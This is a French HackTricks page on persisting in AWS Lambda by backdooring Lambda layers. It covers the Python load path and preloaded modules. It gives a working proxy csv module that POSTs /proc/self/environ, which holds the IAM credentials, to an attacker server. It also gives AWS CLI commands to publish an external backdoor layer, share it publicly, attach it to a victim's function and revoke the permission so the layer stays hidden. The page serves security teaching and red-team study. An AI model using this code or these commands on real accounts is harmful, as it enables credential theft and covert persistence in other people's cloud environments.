AWS - Lambda Layers Persistence

Soutenir HackTricks

Couches Lambda

Une couche Lambda est une archive .zip qui peut contenir du code supplémentaire ou d'autres contenus. Une couche peut contenir des bibliothèques, un runtime personnalisé, des données ou des fichiers de configuration.

Il est possible d'inclure jusqu'à cinq couches par fonction. Lorsque vous incluez une couche dans une fonction, le contenu est extrait dans le répertoire /opt de l'environnement d'exécution.

Par défaut, les couches que vous créez sont privées à votre compte AWS. Vous pouvez choisir de partager une couche avec d'autres comptes ou de rendre la couche publique. Si vos fonctions consomment une couche qu'un autre compte a publiée, vos fonctions peuvent continuer à utiliser la version de la couche après qu'elle a été supprimée, ou après que votre permission d'accéder à la couche a été révoquée. Cependant, vous ne pouvez pas créer une nouvelle fonction ou mettre à jour des fonctions en utilisant une version de couche supprimée.

Les fonctions déployées en tant qu'image de conteneur n'utilisent pas de couches. Au lieu de cela, vous empaquetez votre runtime préféré, vos bibliothèques et d'autres dépendances dans l'image de conteneur lorsque vous construisez l'image.

Chemin de chargement Python

Le chemin de chargement que Python utilisera dans lambda est le suivant :

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Vérifiez comment les deuxième et troisième positions sont occupées par des répertoires où les lambda layers décompressent leurs fichiers : /opt/python/lib/python3.9/site-packages et /opt/python

Si un attaquant parvient à backdoor un layer lambda utilisé ou à en ajouter un qui exécutera du code arbitraire lorsqu'une bibliothèque commune est chargée, il pourra exécuter du code malveillant à chaque invocation de lambda.

Par conséquent, les exigences sont :

  • Vérifier les bibliothèques qui sont chargées par le code des victimes

  • Créer une bibliothèque proxy avec des lambda layers qui exécutera du code personnalisé et chargera la bibliothèque originale.

Bibliothèques préchargées

Lors de l'abus de cette technique, j'ai rencontré une difficulté : Certaines bibliothèques sont déjà chargées dans l'environnement d'exécution python lorsque votre code est exécuté. Je m'attendais à trouver des choses comme os ou sys, mais même la bibliothèque json était chargée. Pour abuser de cette technique de persistance, le code doit charger une nouvelle bibliothèque qui n'est pas chargée lorsque le code est exécuté.

Avec un code python comme celui-ci, il est possible d'obtenir la liste des bibliothèques qui sont préchargées dans l'environnement d'exécution python dans lambda :

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

Et voici la liste (vérifiez que des bibliothèques comme os ou json sont déjà présentes)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

Et voici la liste des bibliothèques que lambda inclut installées par défaut : https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Backdooring de la couche Lambda

Dans cet exemple, supposons que le code ciblé importe csv. Nous allons backdoor l'importation de la bibliothèque csv.

Pour ce faire, nous allons créer le répertoire csv avec le fichier __init__.py à l'intérieur dans un chemin chargé par lambda : /opt/python/lib/python3.9/site-packages Ensuite, lorsque la lambda est exécutée et essaie de charger csv, notre fichier __init__.py sera chargé et exécuté. Ce fichier doit :

  • Exécuter notre payload

  • Charger la bibliothèque csv originale

Nous pouvons faire les deux avec :

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Puis, créez un zip avec ce code dans le chemin python/lib/python3.9/site-packages/__init__.py et ajoutez-le en tant que couche lambda.

Vous pouvez trouver ce code sur https://github.com/carlospolop/LambdaLayerBackdoor

Le payload intégré enverra les IAM creds à un serveur LA PREMIÈRE FOIS qu'il est invoqué ou APRÈS une réinitialisation du conteneur lambda (changement de code ou lambda froide), mais d'autres techniques telles que les suivantes pourraient également être intégrées :

Couches externes

Notez qu'il est possible d'utiliser des couches lambda provenant de comptes externes. De plus, une lambda peut utiliser une couche d'un compte externe même si elle n'a pas les autorisations. Notez également que le nombre maximum de couches qu'une lambda peut avoir est de 5.

Par conséquent, afin d'améliorer la polyvalence de cette technique, un attaquant pourrait :

  • Backdoor une couche existante de l'utilisateur (rien n'est externe)

  • Créer une couche dans son compte, donner à compte victime l'accès pour utiliser la couche, configurer la couche dans la Lambda de la victime et retirer la permission.

  • La Lambda pourra toujours utiliser la couche et la victime n'aura aucun moyen facile de télécharger le code des couches (à part obtenir un rev shell à l'intérieur de la lambda)

  • La victime ne verra pas les couches externes utilisées avec aws lambda list-layers

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Soutenir HackTricks

Last updated